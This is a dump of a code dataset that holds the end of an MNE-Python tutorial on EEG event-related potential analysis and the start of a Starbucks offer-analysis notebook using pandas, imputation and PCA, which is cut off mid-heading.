field power (GFP)\n# ^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Global field power :footcite:`Lehmann1980,Lehmann1984,Murray2008` is,\n# generally speaking, a measure of agreement of the signals picked up by all\n# sensors across the entire scalp: if all sensors have the same value at a\n# given time point, the GFP will be zero at that time point; if the signals\n# differ, the GFP will be non-zero at that time point. GFP\n# peaks may reflect \"interesting\" brain activity, warranting further\n# investigation. Mathematically, the GFP is the population standard\n# deviation across all sensors, calculated separately for every time point.\n#\n# You can plot the GFP using `evoked.plot(gfp=True) <mne.Evoked.plot>`. The GFP\n# trace will be black if ``spatial_colors=True`` and green otherwise. The EEG\n# reference does not affect the GFP:\n\n# sphinx_gallery_thumbnail_number=11\nfor evk in (l_aud, l_vis):\n    evk.plot(gfp=True, spatial_colors=True, ylim=dict(eeg=[-12, 12]))\n\n###############################################################################\n# To plot the GFP by itself you can pass ``gfp='only'`` (this makes it easier\n# to read off the GFP data values, because the scale is aligned):\n\nl_aud.plot(gfp='only')\n\n###############################################################################\n# As stated above, the GFP is the population standard deviation of the signal\n# across channels. To compute it manually, we can leverage the fact that\n# `evoked.data <mne.Evoked.data>` is a :class:`NumPy array <numpy.ndarray>`,\n# and verify by plotting it using matplotlib commands:\n\ngfp = l_aud.data.std(axis=0, ddof=0)\n\n# Reproducing the MNE-Python plot style seen above\nfig, ax = plt.subplots()\nax.plot(l_aud.times, gfp * 1e6, color='lime')\nax.fill_between(l_aud.times, gfp * 1e6, color='lime', alpha=0.2)\nax.set(xlabel='Time (s)', ylabel='GFP (\u00b5V)', title='EEG')\n\n###############################################################################\n# Analyzing regions of interest (ROIs): averaging across channels\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Since our sample data is responses to left and right auditory and visual\n# stimuli, we may want to compare left versus right ROIs. To average across\n# channels in a region of interest, we first find the channel indices we want.\n# Looking back at the 2D sensor plot above, we might choose the following for\n# left and right ROIs:\n\nleft = ['eeg17', 'eeg18', 'eeg25', 'eeg26']\nright = ['eeg23', 'eeg24', 'eeg34', 'eeg35']\n\nleft_ix = mne.pick_channels(l_aud.info['ch_names'], include=left)\nright_ix = mne.pick_channels(l_aud.info['ch_names'], include=right)\n\n###############################################################################\n# Now we can create a new Evoked with 2 virtual channels (one for each ROI):\nroi_dict = dict(left_ROI=left_ix, right_ROI=right_ix)\nroi_evoked = mne.channels.combine_channels(l_aud, roi_dict, method='mean')\nprint(roi_evoked.info['ch_names'])\nroi_evoked.plot()\n\n###############################################################################\n# Comparing conditions\n# ^^^^^^^^^^^^^^^^^^^^\n#\n# If we wanted to compare our auditory and visual stimuli, a useful function is\n# `mne.viz.plot_compare_evokeds`. By default this will combine all channels in\n# each evoked object using global field power (or RMS for MEG channels); here\n# instead we specify to combine by averaging, and restrict it to a subset of\n# channels by passing ``picks``:\n\nevokeds = dict(auditory=l_aud, visual=l_vis)\npicks = [f'eeg{n}' for n in range(10, 15)]\nmne.viz.plot_compare_evokeds(evokeds, picks=picks, combine='mean')\n\n###############################################################################\n# We can also easily get confidence intervals by treating each epoch as a\n# separate observation using the `~mne.Epochs.iter_evoked` method. A confidence\n# interval across subjects could also be obtained, by passing a list of\n# `~mne.Evoked` objects (one per subject) to the\n# `~mne.viz.plot_compare_evokeds` function.\n\nevokeds = dict(auditory=list(epochs['auditory/left'].iter_evoked()),\n               visual=list(epochs['visual/left'].iter_evoked()))\nmne.viz.plot_compare_evokeds(evokeds, combine='mean', picks=picks)\n\n###############################################################################\n# We can also compare conditions by subtracting one `~mne.Evoked` object from\n# another using the `mne.combine_evoked` function (this function also allows\n# pooling of epochs without subtraction).\n\naud_minus_vis = mne.combine_evoked([l_aud, l_vis], weights=[1, -1])\naud_minus_vis.plot_joint()\n\n###############################################################################\n# .. warning::\n#\n#     The code above yields an **equal-weighted difference**. If you have\n#     imbalanced trial numbers, you might want to equalize the number of events\n#     per condition first by using `epochs.equalize_event_counts()\n#     <mne.Epochs.equalize_event_counts>` before averaging.\n#\n#\n# Grand averages\n# ^^^^^^^^^^^^^^\n#\n# To compute grand averages across conditions (or subjects), you can pass a\n# list of `~mne.Evoked` objects to `mne.grand_average`. The result is another\n# `~mne.Evoked` object.\n\ngrand_average = mne.grand_average([l_aud, l_vis])\nprint(grand_average)\n\n###############################################################################\n# For combining *conditions* it is also possible to make use of :term:`HED`\n# tags in the condition names when selecting which epochs to average. For\n# example, we have the condition names:\n\nlist(event_dict)\n\n###############################################################################\n# We can select the auditory conditions (left and right together) by passing:\n\nepochs['auditory'].average()\n\n###############################################################################\n# see :ref:`tut-section-subselect-epochs` for details.\n#\n# The tutorials :ref:`tut-epochs-class` and :ref:`tut-evoked-class` have many\n# more details about working with the `~mne.Epochs` and `~mne.Evoked` classes.\n#\n# .. _ten_twenty: https://en.wikipedia.org/wiki/10%E2%80%9320_system_(EEG)\n#\n#\n# References\n# ----------\n# .. footbibliography::\n", "meta": {"hexsha": "acc786eefab7f0810d55f87c6a7ce8c231f23c01", "size": 18029, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/evoked/30_eeg_erp.py", "max_stars_repo_name": "ts2-lescot/mne-python", "max_stars_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/evoked/30_eeg_erp.py", "max_issues_repo_name": "ts2-lescot/mne-python", "max_issues_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-04-24T05:21:19.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-27T07:47:52.000Z", "max_forks_repo_path": "tutorials/evoked/30_eeg_erp.py", "max_forks_repo_name": "ts2-lescot/mne-python", "max_forks_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-01-07T23:08:52.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-07T23:08:52.000Z", "avg_line_length": 47.3202099738, "max_line_length": 79, "alphanum_fraction": 0.6453491597, "include": true, "reason": "import numpy", "num_tokens": 4217, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378235137849365, "lm_q2_score": 0.18952109132967757, "lm_q1q2_score": 0.0829767901423153}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <a id=\"toplevel\"></a>\n\n# # Capstone Project: Starbucks\n# \n# 1. [Background](#background)\n# 2. [Exploratory Data Analysis](#exploratory-data-analysis)\n# 3. [Data Pre-processing](#data-pre-processing)\n# 4. [Analysis: Rationale, Transaction Labelling, PCA (dimension rediction), K-means clustering](#analysis)\n# 5. [Interpretation](#interpretation)\n\n# <a id=\"background\"></a>\n\n# # 1.0 Background\n\n# [back to top menu](#toplevel)\n\n# The Starbucks Capstone details a test which was conducted on a sample of customers. The data captures customers' responses to different offers and the accompanying analyses aims to use the information to determine the effectiveness of these offers across the different customer segments.\n# \n# My proposed solution leverages an understanding of customer purchase behaviour in framing an approach to segmenting customers within the sample and assessing the performance of each offer within the resulting customer segments. \n# \n# Specifically, the approach involves:\n# \n# 1. Reviewing customer transactions to identify those influenced by specific offers and those that were not. The resulting insights will be used to define individual customer behaviour/preferences (unstimulated spend, BOGO spend, Discount spend)\n# \n# \n# 2. Segmenting the sample customer base using behaviour/preferences. Segments should contain customers of similiar purchase behaviour.\n# \n# \n# 3. Reviewing value/count of offer-influenced transactions vs \"uninfluenced\" transactions at customer and segment levels. value/count of offer-influenced transactions represent incremental change due to offers while magnitude of change is established by comparing against relevant \"uninfluenced\" transaction measures. \n\n# <a id=\"exploratory-data-analysis\"></a>\n\n# [back to top menu](#toplevel)\n# # 2.0 Exploratory Data Analysis\n# \n# Within this section, the relevant datasets will be imported and characteristics identified. The insights gained from this activity will guide the extent of data cleaning and transformation required. In addition, these insights will guide the choice of machine learning models most suitable for the project.Datasets to import and review include: Portfolio; Profile; Transcript\n\n# ## 2.1 Data Import\n\n# In[468]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport json\nimport seaborn as sns\nsns.set()\n#%matplotlib inline\n\n# read in the json files\nportfolio = pd.read_json('portfolio.json', orient='records', lines=True)\nprofile = pd.read_json('profile.json', orient='records', lines=True)\ntranscript = pd.read_json('transcript.json', orient='records', lines=True)\n\n\n# ## 2.2 Portfolio Data\n# To Review: dataframe structure; data types; unique values; distribution\n\n# In[469]:\n\n\n# View the dataframe and values\nportfolio.head(3)\n\n\n# In[470]:\n\n\n# Review the dimension of the dataframe\nportfolio.shape\n\n\n# In[471]:\n\n\n# View data structure and types\nportfolio.info()\n\n\n# In[472]:\n\n\n# View Offer Types\nportfolio['offer_type'].unique().tolist()\n\n\n# In[473]:\n\n\n# Distribution of values within numeric fields\nportfolio.hist(alpha=0.5, figsize=(5, 5));\n\n\n# #### Portfolio EDA: Observation(s)\n# \n# 1. The Portfolio data contains 10 unique records and 6 columns. \n# 2. There are no null values and data types include: int64 and objects.\n# 3. There are 3 types of offers - bogo, Informational and discount.\n# 4. Mode for reward, difficulty and duration values: 5, 10, 7.\n# \n# #### Portfolio EDA: Action Point(s)\n# \n# 1. Create a new id column with more recognizable and easier to process values for offer id.\n# 2. Duration (days) needs to be converted to hours which is the unit of measure for time in transcript dataset.\n\n# ## 2.3 Profile Dataset\n# To Review: dataframe structure; data types; unique values; distribution\n\n# In[474]:\n\n\n# View the dataframe and values\nprofile.head(3)\n\n\n# In[475]:\n\n\n# Review the dimension of the dataframe\nprofile.shape\n\n\n# In[476]:\n\n\n# View data structure and types\nprofile.info()\n\n\n# In[477]:\n\n\n# Null check: Count and % proportion\nprint('Null Check: Count')\nprint('-----------------')\nprint(profile.isnull().sum())\nprint('')\nprint('Null Check: % occurrance')\nprint('------------------------')\nprint(profile.isnull().mean())\n\n\n# In[478]:\n\n\n# Distribution of values within numeric fields\nprofile[['age','income']].hist(alpha=0.5, figsize=(8, 3));\n\n\n# In[479]:\n\n\n# Understand categories within gender\nprofile['gender'].unique()\n\n\n# In[480]:\n\n\n# Understand distribution of gender\nprofile['gender'].hist(alpha=0.5, figsize=(5, 3));\n\n\n# #### Profile EDA: Observation(s)\n# \n# 1. The Portfolio data contains 17,000 unique records and 5 columns. \n# 2. There are 2,175 null values in gender and income columns. The proportion of null values is 12.5% of dataset\n# 3. Data types include: int64, object and null\n# 4. Age column has an outlier value: 118.\n# 5. Income distribution is right skewed\n# 6. \"became_member_on\" column should be date and not integer \n# \n# #### Profile EDA: Action Point(s)\n# 1. Create a short version of id (user_id).\n# 2. Address null records: Keep (Impute) or Remove (Delete)\n# 3. Attempt a correction for error in age (118). Most likely a data entry error for 18.\n# 4. Convert \"became_member_on\" to datetype\n\n# ## 2.4 Transcript Dataset\n# To Review: table structure; data types; unique values; distribution\n\n# In[481]:\n\n\n# View the table structure and values\ntranscript.head(3)\n\n\n# In[482]:\n\n\n# Review the dimension of the dataframe\ntranscript.shape\n\n\n# In[483]:\n\n\n# View data structure and types\ntranscript.info()\n\n\n# In[484]:\n\n\n# Understand categories within event\ntranscript['event'].value_counts()\n\n\n# In[485]:\n\n\n# Highlight data structure within events column\ntranscript['value'].tail()\n\n\n# In[486]:\n\n\n# Highlight data structure within events column\ntranscript['value'].head()\n\n\n# In[487]:\n\n\n# Uniqueness check of person column\ntranscript['person'].nunique()\n\n\n# #### Transcript EDA: Observation(s)\n# 1. The Transcript data contains 306534 unique records and 4 columns. \n# 2. There are no null values in any columns.\n# 3. Data types include: int64, object (incl. dictionary in value column)\n# \n# #### Transcript EDA: Action Point(s)\n# 1. Rename person column to user_id and map to profile user id (short version).\n# 2. Unpack value column to extract key and values\n\n# <a id=\"data-pre-processing\"></a>\n\n# [back to top menu](#toplevel)\n# \n# # 3.0 Data Pre-processing\n# Within this section, data transformation requirements identified as action points within the Exploratory Data Analysis (EDA) section would be completed. Further data tranformation activities will be performed on relevant data in preparation for various analysis and machine learning models\n\n# ## 3.1 Portfolio\n# - Create a new id column with more recognizable and easier to process values for offer id.\n# - Duration (days) needs to be converted to hours which is the unit of measure for time in transcript dataset.\n# - Create mapping files: short version id vs id; short id vs duration in hours\n\n# Create a new id column with more recognizable and easier to process values for offer id\n\n# In[488]:\n\n\n# define rules\nrule01 = lambda x:x[:4]\nrule02 = lambda x:'0'+ str(x) if x<10 else str(x)\nrule03 = lambda x:'0'+ str(x) if x<10 else str(x)\n\n# apply to relevant columns within dataframe\nportfolio['short_id'] = portfolio['offer_type'].apply(rule01) + portfolio['duration'].apply(rule02) + portfolio['difficulty'].apply(rule03)\n\n\n# In[489]:\n\n\n# view impact on dataframe\nportfolio.head(3)\n\n\n# Create a column for duration in hours\n\n# In[490]:\n\n\n# set conversion of day to hours (24hrs = 1 day)\nday_hrs = 24.0\n\n# apply to relevant columns within dataframe\nportfolio['duration_hrs'] = portfolio['duration'] * day_hrs\n\n\n# In[491]:\n\n\n# view impact on dataframe\nportfolio\n\n\n# Create Mapping Files: short version id vs id; short id vs duration in hours\n\n# In[492]:\n\n\n# Map long offer id to new short id\nmap_id_shortid = dict(portfolio[['id','short_id']].values.tolist()) # map required to simplify data analysis\n\n# Map new short id to duration (in hours)\nmap_shortid_hrs = dict(portfolio[['short_id','duration_hrs']].values.tolist()) # map is required for transcript data\n\n\n# Additional: Create list of offers to automate analysis of impact of offers on different customer segment categories\n\n# In[493]:\n\n\n# generate list for portfolio.short_id column\noffer_list_shortid = portfolio['short_id'].values.tolist()\n\n# remove informational\noffer_list_shortid.remove('info0300')\noffer_list_shortid.remove('info0400')\n\n# sort to group similiar offers\noffer_list_shortid.sort()\n\n\n# ## 3.2 Profile\n# - Create short version of id (user_id)\n# - Address null records: Keep (Impute) or Remove (Delete)\n# - Attempt a correction for error in age (118). Most likely a data entry error for 18\n# - Convert \"became_member_on\" to date\n\n# Create short version of id (user_id)\n\n# In[494]:\n\n\n# Create short version of id (user_id)\ndef id_mapper():\n    coded_dict = dict()\n    cter = 1\n    id_encoded = []\n    \n    for val in profile['id']:\n        if val not in coded_dict:\n            coded_dict[val] = cter\n            cter+=1\n        \n        id_encoded.append(coded_dict[val])\n    return id_encoded\n\nid_encoded = id_mapper()\nprofile['user_id'] = id_encoded\n\n# show header\nprofile.head(3)\n\n\n# Address null records: Keep (Impute) or Remove (Delete)\n\n# In[495]:\n\n\n# Impute Numeric Fields: Fill nans with mean, median, mode\nprofile['income_meanfill'] = np.round(profile['income'].fillna(profile['income'].mean()),1)\nprofile['income_medianfill'] = np.round(profile['income'].fillna(profile['income'].median()),1)\nprofile['income_modefill'] = np.round(profile['income'].fillna(profile['income'].mode(dropna=True)[0]),1)\n\n# Review impact on distribution (kde) and select most suitable option\nfig = plt.figure() \nax = fig.add_subplot(111) \nprofile['income'].plot(kind='kde', ax=ax) \nprofile['income_meanfill'].plot(kind='kde', ax=ax, color='red')\nprofile['income_medianfill'].plot(kind='kde', ax=ax, color='green') \nprofile['income_modefill'].plot(kind='kde', ax=ax, color='purple') \nlines, labels = ax.get_legend_handles_labels() \nax.legend(lines, labels, loc='best')\nplt.show() \n\n\n# In[496]:\n\n\n# Impute Categorical Fields: Fill nans mode\nprofile['gender-fill'] = profile['gender'].fillna(profile['gender'].mode()[0])\n\n# Review impact on distribution (kde) and select most suitable option\nprofile['gender'].hist(alpha=0.5, figsize=(5, 3));\nprofile['gender-fill'].hist(alpha=0.5, figsize=(5, 3));\n\n\n# Attempt a correction for error in age (118). Most likely a data entry error for 18\n\n# In[497]:\n\n\n# Create new age column (age-fill) and impute 118 with mean age (after excluding 118 entries by converting to Nan)\n\nprofile['age_fill'] = profile['age'] # create new age column to use and preserve original data field\nprofile['age_fill'].replace(to_replace=118,value=np.nan, inplace=True) # replace 118 with Nan\nprofile['age_fill'].fillna(profile['age_fill'].median(), inplace=True) # impute Nan with median\nprofile[['age','age_fill']].hist(alpha=0.5, figsize=(8, 3)); # plot histogram before and after change\n\n\n# Convert \"became_member_on\" to date\n\n# In[498]:\n\n\nprofile['became_member_on'] = pd.to_datetime(profile['became_member_on'], format='%Y%m%d')\n\n\n# Additional Task: Create mapping for id, user_id\n\n# In[499]:\n\n\nid_userid_map = profile[['id','user_id']]\nmap_userid_person = dict(id_userid_map.values.tolist()) # map required to simplify data analysis\n\n\n# ### Profile Comments: Filling nulls vs Deleting nulls\n# \n# \n# **Background:**\n# \n# New columns were created for columns with null values inorder to determine the impact of filling nulls. This approach also creates a fall-back in the event the option to delete nulls is considered.\n# \n# **Observations:**\n# \n# 1. Median fill appears most suitable for income column as the underlying distribution is skewed (see density plots)\n# 2. Replacing 118 with Nan and imputing with the median of age has changed the kurtosis of the distribution.\n# \n# **Conclusion:**\n# \n# Overall, the choice of either filling nulls or deleting will depend on the model selected for segmenting customers. The basis for segmentation ( customer behaviour, demographics, psycograhics etc.) will determine which features are relevant. For example, the choice of customer behaviour as basis for segmentation will not require the use income, age and sex columns which are are relevant in the demographics approach.\n\n# ## 3.3 Transcript\n# - Unpack value column to extract key and values\n# - Apply unpacked value column to transcript dataframe\n# - Map person to profile user id (short version).\n\n# Unpack value column to extract keys and values\n\n# In[500]:\n\n\n# Extract value column into dataframe\nvalue_unpacked = pd.DataFrame(transcript['value'].values.tolist(), index=transcript.index) \nvalue_unpacked['offerid'] = value_unpacked['offer id'].combine_first(value_unpacked['offer_id'])\nvalue_unpacked.drop(['offer id','offer_id'],axis=1, inplace=True)\nvalue_unpacked.head(3)\n\n\n# Apply unpacked value column to transcript dataframe\n\n# In[501]:\n\n\n# Applying unpacked value column to transcript dataframe\ntranscript_unpacked = pd.merge(pd.merge(transcript, value_unpacked, left_index=True, right_index=True),id_userid_map,how='left',left_on='person',right_on='id')  \ntranscript_unpacked.drop(['value'],axis=1, inplace=True)\ntranscript_unpacked.drop(['id'],axis=1, inplace=True)\ntranscript_unpacked.head(3)\n\n\n# Map person to profile user id (short version).\n\n# In[502]:\n\n\n# Map person to profile user id (short version).\ntranscript_unpacked['short_id'] = transcript_unpacked['offerid'].map(map_id_shortid)\ntranscript_unpacked['duration_hrs'] = transcript_unpacked['short_id'].map(map_shortid_hrs)\ntranscript_unpacked.fillna(0, inplace=True)\ntranscript_unpacked.head(5)\n\n\n# <a id=\"analysis\"></a>\n\n# [back to top menu](#toplevel)\n\n# # 4.0 Analysis\n# - Background information for context\n# - Transaction Labelling\n# - PCA (dimension reduction)\n# - K-means clustering\n\n# ## 4.1 Background information for context\n\n# Key Ideas:\n# \n# 1. There are 2 states to customer behaviour: offer-induced (\"excited\") state and steady (\"uninfluenced\") state.\n# \n# \n# 2. Categorizing customer transactions by influence type - bogo, discount, self - and establishing the relative contribution of each category provides a quantitative definition of individual customer preferences/behaviour (Transaction Labelling).\n# \n# \n# 3. Transactions are said to be influenced by an offer when these transactions occur after a valid offer is received and viewed. In the event a transaction is completed before an offer is viewed, it is deemed to be uninfluenced (self). In addition, transactions completed outside the influence of any offer are deemed to be \"uninfluenced\" and labelled \"self\" (Transaction labelling)\n# \n# \n# 4. Informationals do not influence transactions because these do not have a motivator/reward (assumption)\n# \n# \n# 5. Customer behaviour can be used as a basis to segment customer base in addition to the use of demographic, psychograhic and other factors. There is a need to identify the most suitable factors (PCA and Clustering).\n# \n# \n# 6. Count and value of transactions completed under the influence of an offer provide a measure of the impact of the offer. These measures can be reviewed at individual and segment levels (Impact of offer - incremental transactions and revenue)\n# \n\n# ## 4.2 Transaction Labelling\n\n# Data Preparation\n\n# In[503]:\n\n\n# Creating new columns in preparation for transaction labelling\ntranscript_unpacked = transcript_unpacked.drop(columns=['person','offerid']) # dropping redundant columns to streamline\ntranscript_unpacked['influence'] = ''    # required to capture name of influencing offer\ntranscript_unpacked['completiontype'] = '' # required to identify offer completion which occur after offer view\ntranscript_unpacked['time_btw_offers'] = 0.0 # required to comment on frequency/volume of offers in test\ntranscript_unpacked['active_offers'] = '' # required to evaluate occurence and impact of multiple active offers\n\n# Sort dataframe by userid and time to create blocks of user-specific, sequenced transactions\ntranscript_unpacked.sort_values(by=['user_id','time'], ascending=True, inplace=True)\ntranscript_unpacked.reset_index(inplace=True, drop=True)\n\n\n# Labelling Transactions\n\n# In[504]:\n\n\n# Iterating through txn history (transcript) and labeling relevant fields\n# ***********************************************************************\n\nuserid = \"\" # initializing user id which is necessary to track user transactions\n\n# Looping through modified transcript dataframe to label transactions based on influencing offer\n\nfor index, row in transcript_unpacked.iterrows():\n    \n    if row['user_id'] == userid:\n        \n            if row['event'] == 'offer received':\n                transcript_unpacked.at[index, 'time_btw_offers'] =  row['time'] - txntime # time between offers\n        \n                if ('info' in offerid) or ('info' in row['short_id']):\n                    transcript_unpacked.at[index, 'active_offers'] = ''        \n                else:\n                    if (row['time'] - txntime) - offer_duration < 0: # remember to exclude info\n                        if offercomplete == 0:\n                            transcript_unpacked.at[index, 'active_offers'] = '2+'\n        \n                offerid = row['short_id'] \n                txntime = row['time']\n                offer_duration = row['duration_hrs']\n                offercomplete == 0\n              \n    \n            if row['event'] == 'offer viewed':\n                if row['short_id'] == offerid:\n                    if ('info' in offerid):\n                        influencedby = \"\"\n                    else:\n                        if row['time'] - txntime < offer_duration:\n                            influencedby = offerid\n                \n            if row['event'] == 'transaction':\n                if row['time'] - txntime < offer_duration: #transaction is within the period of an offer\n                    if len(influencedby) != 0: #test to determine if offer has been viewed\n                        transcript_unpacked.at[index, 'influence'] = influencedby\n                    else:\n                        transcript_unpacked.at[index, 'influence'] = 'self'\n                else:\n                    transcript_unpacked.at[index, 'influence'] = 'self'\n    \n    \n            if row['event'] == 'offer completed':\n                if row['short_id'] == offerid:\n                    if len(influencedby) == 0: #test to determine if offer has been viewed\n                        transcript_unpacked.at[index, 'completiontype'] = 'offer: not viewed'\n                    else:\n                        transcript_unpacked.at[index, 'completiontype'] = 'offer:viewed'\n                    influencedby = \"\"\n                    offercomplete = 1\n    else:\n        \n        userid = row['user_id']\n        offerid = \"\" \n        txntime = 0\n        offer_duration = 0\n        offercomplete = 0\n        influencedby = \"\"\n        \n        \n        if row['event'] == 'offer received':\n            offerid = row['short_id'] \n            txntime = row['time']\n            offer_duration = row['duration_hrs']\n            offercomplete == 0\n\n                \n        if row['event'] == 'transaction':\n            transcript_unpacked.at[index, 'influence'] = 'self'\n\n\n# In[505]:\n\n\n# Displaying updates made (1st 10 records)\ntranscript_unpacked.head(10)\n\n\n# In[506]:\n\n\n# Displaying updates made (last 10 records)\ntranscript_unpacked.tail(10)\n\n\n# customer-offer interaction matrix\n\n# In[507]:\n\n\n# Create customer-offer interaction matrix (view into customer preferences/behaviour)\n\ndf_extract_txns = transcript_unpacked[transcript_unpacked.event=='transaction'] # extract transactions\ncust_offer_matrix = df_extract_txns.groupby(by=['user_id','influence'])['amount'].sum().unstack() # matrix by spend\ndf_cust_offer_nonull = cust_offer_matrix.fillna(0) # create a copy of customer-offer interaction matrix and fill null\ndf_cust_offer_nonull.head(10)\n\n\n# Interpretation:\n#     \n# - user 1 is a bargain hunter who only purchases with discount offers. Preference is disc0710, disc1010 and disc1020\n# - user 2 is not influenced by bogo and discount offers. Self motivated\n# - user 3 is both self motivated and interested in bogo offers. Preference is bogo0705\n\n# In[508]:\n\n\n# Identify customers with no transactions across self, bogo and discount\n\ncust_with_txns = df_cust_offer_nonull.shape[0] # customers with at least 1 txn across self and offers\ntotal_cust_base = transcript_unpacked.user_id.nunique() # total number of customers in sample\n\nprint(\"number of customers with at least 1 transaction: {:,}\".format(cust_with_txns))\nprint(\"number of customers in sample: {:,}\".format(total_cust_base))\nprint(\"number of customers without transactions: {:,}\".format((total_cust_base-cust_with_txns)))\n\n\n# Comment(s):\n# \n# There are 422 customers who neither responded to the offers nor performed any transaction within the test period. Their user ids are not captured in the user-offer matrix and their preferences are yet unknown. However, with the addition of relevant demographics-related columns from the profile dataframe to create a comprehensive reference table/dataframe, the customer user ids will reflect in the matrix (no nulls version) with 0 across offer/self columns\n# \n\n# Additional tasks: Create a comprehensive reference dataframe by adding relevant columns to user-interaction dataframe\n\n# In[509]:\n\n\n# Transaction count per customer\ndf_cust_txnCount = df_extract_txns[df_extract_txns.influence=='self'].groupby(['user_id']).agg(txn_count=('event',pd.Series.count)).reset_index()\n\n\n# In[510]:\n\n\n# Profile dataframe: Create column for number of months as member\ncutoff_date = pd.to_datetime('20210618',format='%Y%m%d')\nprofile['membership_mnths'] = ((cutoff_date - profile['became_member_on'])/np.timedelta64(1,'M')).astype(int)\n\n\n# In[511]:\n\n\n# Profile dataframe: Extract relevant fields - userid, age, income (median fill), months as member\ncust_profile_trim = profile[['user_id','age_fill','income_medianfill','membership_mnths','gender-fill']]\n\n\n# In[512]:\n\n\n# join profile trim with count of transactions\ncust_profile_txn = cust_profile_trim.merge(df_cust_txnCount, how='left', on='user_id')\n\n\n# In[513]:\n\n\n# create master dataframe with demographics and customer-offer interaction details\ncust_profile_txn_matrix = cust_profile_txn.merge(df_cust_offer_nonull, how='left',on='user_id')\n\n\n# In[514]:\n\n\n# cleaning master dataframe\ncust_profile_txn_matrix.set_index('user_id',drop=True,inplace=True) # set user_id as index\ncust_profile_txn_matrix.fillna(0, inplace=True) # fill nulls\n\n\n# In[515]:\n\n\n# Creating subtotals for bogo and discount offers\ncust_profile_txn_matrix['bogo'] = (cust_profile_txn_matrix['bogo0505']\n                                        +cust_profile_txn_matrix['bogo0510']\n                                        +cust_profile_txn_matrix['bogo0705']\n                                        +cust_profile_txn_matrix['bogo0710'])\n\ncust_profile_txn_matrix['discount'] = (cust_profile_txn_matrix['disc0707']\n                                            +cust_profile_txn_matrix['disc0710']\n                                            +cust_profile_txn_matrix['disc1010']\n                                            +cust_profile_txn_matrix['disc1020'])\n\n\n# In[516]:\n\n\n# create categories for membership. Business rule (Assumption) - Members are new for 3 months after joining\n\nmembership_filter = lambda x: \"new\" if x <= 37 else \"old\" \ncust_profile_txn_matrix['custtype'] = cust_profile_txn_matrix['membership_mnths'].apply(membership_filter)\n\n#comments: \n#********\n#The latest membership date is 34 months from cutoff date. 34mnths + 3mnths (37) will filter out new members\n# Choice of 3 months was based on optimization. 3 months returned highest silhouette score (0.7456) \n# compared to 6 (0.6881), 12 (0.6473) etc\n\n\n# In[517]:\n\n\n# view master reference dataframe\ncust_profile_txn_matrix.head(3)\n\n\n# In[518]:\n\n\n# understand master reference dataframe\ncust_profile_txn_matrix.describe()\n\n\n# In[519]:\n\n\ncust_profile_txn_matrix.corr()\n\n\n# # 4.2 PCA (Dimension Reduction)\n\n# In[520]:\n\n\ncust_profile_txn_matrix.columns\n\n\n# The columns of the cust_profile_txn_matrix dataframe represent the different factors (features) which could be used to segment the sample customer base. The preferred factors would depend on:\n# - choice of basis for segmentation: demograhics, customer behaviour etc.\n# - relative strengths of individual factors as determined by PCA analysis\n# \n# To facilitate decision making, 2 segmentation scenarios would be reviewed. Scenario 1 will review the use of demographic factors while Scenario 2 will explore the use of customer behavior related factors. Both will be reviewed and the most suitable scenario adopted for the rest of the analysis\n\n# Definitions\n\n# In[521]:\n\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\n\n# In[522]:\n\n\ndef showkeycomponents(df):\n    '''\n    INPUT:\n    df - (pandas dataframe) with features for principal component analysis\n    \n    OUTPUT:\n    PCA_components - (pandas dataframe) transformed data of principal components \n    '''\n    X_std = StandardScaler().fit_transform(df.values)\n    pca = PCA(n_components=0.90) # return components that explain 90% of variance in data\n    principalComponents = pca.fit_transform(X_std)\n    PCA_components = pd.DataFrame(principalComponents)\n    features = range(pca.n_components_)\n    plt.bar(features, pca.explained_variance_ratio_, color='black')\n    plt.plot(features, pca.explained_variance_ratio_.cumsum(), color='blue', linestyle='--', marker ='o')\n    plt.grid(True)\n    return PCA_components \n\n\n# In[523]:\n\n\ndef threeDplot(df):\n    '''\n    INPUT:\n    df - (pandas dataframe) with features for scatter plot\n    \n    OUTPUT:\n    \n    '''\n    fig = plt.figure(figsize = (5, 5))\n    ax = plt.axes(projection =\"3d\")\n \n    # Creating plot\n    ax.scatter3D(df[0],df[1],df[2], color = \"black\")\n    plt.title(\"3D scatter plot\")\n    ax.set_xlabel('X Label')\n    ax.set_ylabel('Y Label')\n    ax.set_zlabel('Z Label')\n    ax.view_init(30, 60)\n \n    # show plot\n    plt.show()\n    return None    \n\n\n# One Hot Encoding for categorical Columns/Features\n\n# In[524]:\n\n\n# transformation for gender and membership class\ndf_temp = pd.get_dummies((pd.get_dummies(cust_profile_txn_matrix, columns=['gender-fill'])), columns=['custtype'])\n\n\n# **SCENARIO 1: Segmentation Using Demograhics Data + Membership Class (Income, Age, Sex, Membership Type)**\n\n# In[525]:\n\n\n# Features list and resulting dataframe\nfeatures_list = ['income_medianfill','age_fill','custtype_new','custtype_old','gender-fill_F','gender-fill_M','gender-fill_O']\ndf_cust_test = df_temp[features_list]\ndf_cust_test.shape\n\n\n# In[526]:\n\n\n# Call PCA showkeycomponents\nanalysis_demographics = showkeycomponents(df_cust_test)\n\n\n# In[527]:\n\n\n# Data dimension before and after PCA for Experiment 1 (Segmenting Using Demographics Data)\nprint(\"Dataframe dimension before PCA: {}\".format(df_cust_test.shape))\nprint(\"Dataframe dimension after PCA: {}\".format(analysis_demographics.shape))\n\n\n# In[528]:\n\n\n# 3D plot of top 3 components\nthreeDplot(analysis_demographics)\n\n\n# **SCENARIO 2: Segmentation Using Customer Bahaviour (Self, 